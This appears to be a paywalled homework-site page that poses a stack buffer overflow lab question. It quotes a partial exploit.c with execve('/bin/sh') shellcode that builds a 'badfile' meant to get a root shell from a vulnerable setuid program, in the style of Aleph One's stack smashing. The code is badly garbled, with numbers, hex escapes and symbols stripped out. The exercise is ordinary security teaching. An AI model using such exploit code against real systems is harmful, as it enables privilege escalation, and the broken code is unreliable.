Question: We provide you with a partially completed exploit code called exploit . c . The goal of this code is to construct contents for badfile
We provide you with a partially completed exploit code called exploitc The goal of this code is to construct contents for badfile In this code, the shellcode is given to you. You need to develop the rest. exploit.c A program that creates a file containing code for launching shell #include #include #include char shellcodexxcxxshxbinxxexxxxexxbxbxcdx ; xorl eax,eax pushl eax pushl $xff pushl $xef movl esp,ebx pushl eax pushl ebx movl cdq movb int void mainint argc, char argv char buffer; FILE badfile; esp,ecx $xbal $x Initialize buffer with xNOP instruction memset&buffer, x; You need to fill the buffer with appropriate contents here Save the contents to the file "badfile" badfile fopenbadfilew; fwritebuffer badfile; fclosebadfile; After you finish the above program, compile and run it This will generate the contents for badfile Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell in the given exploit.c the buffer size is given as in the main function, you can change it to and follow the exploit scenario given in the above AlephOne's stack smashing link. For example, you can set offset and bsize When insertion in the buffer is complete you may put a NULL codecharacter in the buffer:
bufferbsize ;
Finally, save the buffer and write it into the bad file by:
badfile fopenbadfilew;
fwritebuffer badfile;
fclosebadfile;
Step by Step Solution
There are 3 Steps involved in it
1 Expert Approved Answer
Step: 1 Unlock
Question Has Been Solved by an Expert!
Get step-by-step solutions from verified subject matter experts
Step: 2 Unlock
Step: 3 Unlock
